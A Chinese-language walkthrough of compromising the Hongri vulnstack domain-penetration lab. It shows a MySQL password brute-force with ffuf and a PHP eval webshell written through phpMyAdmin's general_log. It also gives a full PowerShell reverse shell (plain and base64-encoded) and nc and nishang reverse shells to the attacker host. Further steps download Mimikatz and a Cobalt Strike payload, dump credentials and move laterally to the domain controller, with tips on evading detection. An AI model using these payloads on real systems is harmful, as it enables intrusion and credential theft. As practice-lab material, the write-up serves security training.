域渗透靶机,可以练习对域渗透的一些知识,主要还是要熟悉 powershell 语法,powershell 往往比 cmd 的命令行更加强大,而很多渗透开源的脚本都是 powershell 的。例如 NiShang
,PowerView
等等。这是域渗透的初学靶机。其中也遇到了一些问题
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红日靶机的默认密码:hongrisec@2019
我这里
我看的 kali 攻击机 192.168.81.37
sudo nmap -sn 192.168.81.0/24
Nmap scan report for 192.168.81.239
Host is up (0.00047s latency).
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
看到我的靶机 ip 是 192.168.81.239
sudo nmap -sT --min-rate 10000 -p- 192.168.81.239
# Nmap 7.93 scan initiated Wed Sep 4 05:56:09 2024 as: nmap -sT --min-rate 10000 -p- -o ports 192.168.81.239
Warning: 192.168.81.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.81.239
Host is up (0.00079s latency).
Not shown: 61205 closed tcp ports (conn-refused), 4319 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1230/tcp open periscope
3306/tcp open mysql
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
# Nmap done at Wed Sep 4 05:56:21 2024 -- 1 IP address (1 host up) scanned in 12.44 seconds
对端口进行处理
cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','
赋值给变量
ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')
这里在 $ports
处可以使用 tab
键显示变量的值
sudo nmap -sT -sV -sC -O -p$ports 192.168.81.239 -o details
# Nmap 7.93 scan initiated Wed Sep 4 06:01:26 2024 as: nmap -sT -sC -sV -O -p80,135,139,445,1025,1026,1027,1028,1029,1230,3306 -o details 192.168.81.239
Nmap scan report for 192.168.81.239
Host is up (0.00097s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1230/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29ecf8d6 (VMware)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-09-04T10:02:28
|_ start_date: 2024-09-04T09:46:14
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: stu1
| NetBIOS computer name: STU1\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: stu1.god.org
|_ System time: 2024-09-04T18:02:28+08:00
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 4 06:02:39 2024 -- 1 IP address (1 host up) scanned in 73.24 seconds
打开 WEB 页面
是一个 php 探针,往下翻
看到有个检验 mysql 的按钮
随便输入,开启 burp 抓包
抓到
sudo vi pass_req
把 http 的 raw 格式粘贴进去
POST /l.php HTTP/1.1
Host: 192.168.81.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://192.168.81.239
Connection: close
Referer: http://192.168.81.239/l.php
Upgrade-Insecure-Requests: 1
host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
把需要爆破的参数改为 FUZZ 的样式 : login=FUZZ1&password=FUZZ2
这里我用的 ffuf 工具,-mode 可以指定爆破模式,-w 也是制定了比较常规的用户名和密码的弱口令字典
当然喜欢用 burp 也没关系,看个人喜好吧
sudo ffuf --request pass_req -u http://192.168.81.239 -w /usr/share/SecLists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt:FUZZ2 -fs 14807 -mode clusterbomb
结果:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://192.168.81.239
:: Wordlist : FUZZ1: /usr/share/SecLists/Usernames/top-usernames-shortlist.txt
:: Wordlist : FUZZ2: /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Origin: http://192.168.81.239
:: Header : Connection: close
:: Header : Referer: http://192.168.81.239/l.php
:: Header : Host: 192.168.81.239
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
:: Header : Accept-Encoding: gzip, deflate
:: Header : Upgrade-Insecure-Requests: 1
:: Data : host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 14807
________________________________________________
[Status: 200, Size: 14804, Words: 1464, Lines: 401, Duration: 2136ms]
* FUZZ1: root
* FUZZ2: root
:: Progress: [3400/3400] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:59] :: Errors: 0 ::
存在弱口令 root:root
我们写进凭证里
echo 'root:root' > creds
拿到了数据库凭证,而这是一个 phpstudy 的网站,我们进行一下目录爆破,看看有没有什么后台页面之类的
sudo gobuster dir -u http://192.168.81.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
这里用的 gobuster 当然很多工具都可以进行目录爆破比如:feroxbuster ffuf dirb dirsearch wfuzz 等都有相应的功能,只是工具会采用不同的算法,在我们一个工具没法走下去的时候,可以尝试另一个工具,很有可能就会有我们想要的结果
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.81.239
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/%20 (Status: 403) [Size: 210]
/*checkout* (Status: 403) [Size: 219]
/phpmyadmin (Status: 301) [Size: 241] [--> http://192.168.81.239/phpmyadmin/]
/*docroot* (Status: 403) [Size: 218]
/* (Status: 403) [Size: 210]
/con (Status: 403) [Size: 212]
/http%3A (Status: 403) [Size: 214]
/**http%3a (Status: 403) [Size: 216]
/*http%3A (Status: 403) [Size: 215]
/aux (Status: 403) [Size: 212]
/**http%3A (Status: 403) [Size: 216]
/%C0 (Status: 403) [Size: 210]
/%3FRID%3D2671 (Status: 403) [Size: 218]
/devinmoore* (Status: 403) [Size: 220]
/200109* (Status: 403) [Size: 216]
/*sa_ (Status: 403) [Size: 213]
/*dc_ (Status: 403) [Size: 213]
/%D8 (Status: 403) [Size: 210]
/%CE (Status: 403) [Size: 210]
/%CF (Status: 403) [Size: 210]
/%CD (Status: 403) [Size: 210]
/%CB (Status: 403) [Size: 210]
/%CC (Status: 403) [Size: 210]
/%D1 (Status: 403) [Size: 210]
/%CA (Status: 403) [Size: 210]
/%D0 (Status: 403) [Size: 210]
/%D3 (Status: 403) [Size: 210]
/%D6 (Status: 403) [Size: 210]
/%D7 (Status: 403) [Size: 210]
/%D5 (Status: 403) [Size: 210]
/%D4 (Status: 403) [Size: 210]
/%D2 (Status: 403) [Size: 210]
/%C9 (Status: 403) [Size: 210]
/%C1 (Status: 403) [Size: 210]
/%C8 (Status: 403) [Size: 210]
/%C2 (Status: 403) [Size: 210]
/%C5 (Status: 403) [Size: 210]
/%C6 (Status: 403) [Size: 210]
/%C7 (Status: 403) [Size: 210]
/%C3 (Status: 403) [Size: 210]
/%C4 (Status: 403) [Size: 210]
/%D9 (Status: 403) [Size: 210]
/%DE (Status: 403) [Size: 210]
/%DF (Status: 403) [Size: 210]
/%DD (Status: 403) [Size: 210]
/%DB (Status: 403) [Size: 210]
/phpMyAdmin (Status: 301) [Size: 241] [--> http://192.168.81.239/phpMyAdmin/]
/login%3f (Status: 403) [Size: 215]
/%22james%20kim%22 (Status: 403) [Size: 230]
/%22julie%20roehm%22 (Status: 403) [Size: 232]
/%22britney%20spears%22 (Status: 403) [Size: 235]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
有 phpMyAdmin
页面,我们访问一下
输入刚爆破出来的凭证 root:root
就登陆到数据库的后台了
phpmyadmin 后台 getshell 的方法
第一种我们执行
SHOW VARIABLES LIKE '%secure%'
看到
secure_file_priv
值为 NULL
禁止写入文件,如果这个值为目录名称,则可以在指定目录写入文件。
这个值是只读变量,只能通过配置文件修改。
第一种走不通了
第二种 利用日志文件
SHOW VARIABLES LIKE 'general%'
general_log
: 表示日志功能的开关,我们可以通过 sql 语句设置它
general_log_file
: 它指定了我们日志生成的绝度路径
日志开启将会记录我们所有的 sql 语句操作
set global general_log=on;# 开启日志
set global general_log_file='C:/phpStudy/WWW/lingx5.php';# 设置日志位置为网站目录
绝对路径刚开始的 php 探针已经有了,让我们把全局日志记录打开
执行
select '<?php @eval($_GET["code"]);?>'
访问
真正的攻防中,也是不建议直接菜刀,蚁剑等工具直接连接,应为他们的流量特征过于明显,稍不注意就会引起流量监测设备的告警。而哥斯拉虽然在流量上做了加密,但是它的木马格式,通信协议和行为特征相对固定,如果要用的话还是建议自己在基础上做二次开发,达到对一些检测设备的绕过。
在 kali 端,安装 nc.exe
,开启 smbserver 服务,并开启监听
下面命令使用 python 在当前文件夹开启一个名为 share 的 smb 共享目录
python /usr/share/doc/python3-impacket/examples/smbserver.py share .
监听端口
nc -lvp 8888
命令注入,访问链接
http://192.168.81.239/lingx5.php?code=system('\\\\192.168.81.37\\share\\nc.exe -e cmd.exe 192.168.81.37 8888 );
这里 smb 显示连接正常。等了半天没弹回来,有点气人,我作弊去它的 window7 里看了看,发现
这台靶机的 win7 不兼容 nc 啊,我试了 64 位和 32 位,都不兼容。不过这也是一个思路,告诉给大家,让大家对 smb 服务有更加深刻的印象
google 搜索 :php reverse windows powershell
看了篇文章:https://int0x33.medium.com/from-php-s-hell-to-powershell-heaven-da40ce840da8
用 rlwrap 获得一个交互性更强的 shell
sudo rlwrap nc -lvp 8888
powershell 建立连接的命令
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.81.37',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
进行 base64 编码
cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==
因为命令里的特殊字符的问题,我尝试着直接输入或者进行 url 编码,都没有反弹不成功,所以就用 base64 编码,再用 php 函数的 base64_decode()方法解码,避免特殊字符带来的干扰
访问链接
http://192.168.81.239/lingx5.php?code=system(base64_decode("cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg=="));
成功弹回 shell
撞大运了弹回来直接就是 system 权限的用户,省的提权了
获得 shell,先改编码格式
chcp 65001
ipconfig /all
发现一块 192.168.52.0
网段的网卡,应该就是域对应的内网网卡,本机的 hostname 和域的信息也可以看到
systeminfo
看到 domian 字段是 god.org
代表这是域内的机器。
普通机器的默认字段是:WORKGROUP
也可以看到机器打过补丁的一些信息,还有网卡信息
route pirnt
net view
我们通过信息收集,知道了域控主机是 owa
,域名为 god.org
查看域控主机 ip
ping owa.god.org
看到域控 ip 为 192.168.52.138
使用 mimikatz 进行密码抓取
Invoke-mimikatz.ps1 连接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
开启 http 服务
php -S 0:80
查看机器的 powershell 版本信息
$PSVersionTable.PSVersion
因为 powershell3.0 前后的命令有些许的差别
目标机器上的 powershell 是 2.0 版本的 而 Invoke-WebRequest
cmdlet 是从 PowerShell 3.0 开始引入的
我们使用.NET 类 System.Net.WebClient
来实现下载功能
powershell -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/Invoke-Mimikatz.ps1','c:\program files\Invoke-Mimikatz.ps1')}"
在 http 服务处看到上传成功
上传到了 c:\program files
目录下
cd c:\'program files'
dir
看到上传成功了
当然在 mimikatz 也是需要做免杀的,不然对它的操作也是会触发杀毒软件的
在 powershell 中运行 Invoke-Mimikatz.ps1 首先我们要解除执行策略
Get-ExecutionPolicy
Restricted
:不允许任何脚本运行。
AllSigned
:只运行由受信任的发布者签名的脚本。
RemoteSigned
:本地创建的脚本可以运行,远程下载的脚本必须是签名的。
Unrestricted
:允许所有脚本运行,但运行从互联网下载的脚本时会有警告。
我们设置为 RemoteSigned
即可
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
当然也可是使用 Bypass
这个参数进行单次命令的绕过
导入
Import-moudle .\Invoke-Mimikatz.ps1
加载
.\Invoke-Mimikatz.ps1
执行
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
没有反应了
理论上 应该是可以正常抓取密码的,这台靶机我打着也有很多问题。
觉得会不会是用 php 执行代码返回来的 powershell 不是很稳定导致的
我们用 nishang 的 tcp 的脚本,反弹回来的会不会更加稳定呢?尝试用 nishang
反弹
sudo apt install nishang
输入命令 nishang 就可以看到目录
nishang
cd Shells
看到 Invoke-PowerShellTcp.ps1
文件
sudo vi Invoke-PowerShellTcp.ps1
在它的文件底部加上反弹 shell 的语句
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.81.37 -Port 4444
就是等他加载到内存中去执行反弹 shell 的逻辑
kali 监听,同时开启 http 服务
nc -lvp 4444
php -S 0:80
在命令行执行
powershell -command "& {(new-object system.net.webclient).downloadfile('http://192.168.81.37/Invoke-PowerShellTcp.ps1','c:\Invoke-PowerShellTcp.ps1')}" ; c:\Invoke-PowerShellTcp.ps1
下载成功,收到反弹 shell,但是和之前的 shell 是一样的,还是不能运行 mimikatz.ps1
启动 cs
./teamserver localhost 123456
./cobalstrike
生成木马,并上传
powershell -ExecutionPolicy Bypass -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/artifact.exe', 'C:\Users\Public\artifact.exe')}"
启动 artifact.exe
cmd.exe /c ".\artifact.exe"
成功上线
端口扫描
看到
运行 mimikatz
看到域控 owa
的密码 hongrisec@2022
已经有了域控管理员的密码拿到域控就简单了
在 cs 上创建 SMB 监听
直接 jump
看到域控上线了
域控拿到了,这个域我就随便走了
跳到 141 主机
成功拿下三台